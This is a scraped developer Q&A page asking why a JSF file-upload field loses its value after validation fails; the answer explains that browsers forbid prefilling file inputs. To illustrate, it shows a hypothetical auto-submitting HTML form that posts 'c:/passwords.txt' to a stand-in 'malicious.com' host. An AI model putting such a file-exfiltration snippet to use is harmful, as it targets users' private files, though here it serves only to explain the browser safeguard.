开发者

JSF <t:inputFileUpload> value lost after validation failure

开发者 https://www.devze.com 2023-02-09 20:01 出处:网络
I found value of upload file path is lost after valid开发者_JAVA百科ation for following code. Is there anyway i can retain the value after validation failure? thank you.

I found value of upload file path is lost after valid开发者_JAVA百科ation for following code. Is there anyway i can retain the value after validation failure? thank you.

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />


That's not possible. That's a security restriction by HTML. You cannot prefill/preserve the value of a HTML <input type="file"> field. Since JSF just generates HTML, JSF can't do much about it.

Imagine that this security restriction didn't exist, websites would be able to do the following:

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

Do you see?

0

精彩评论

暂无评论...
验证码 换一张
取 消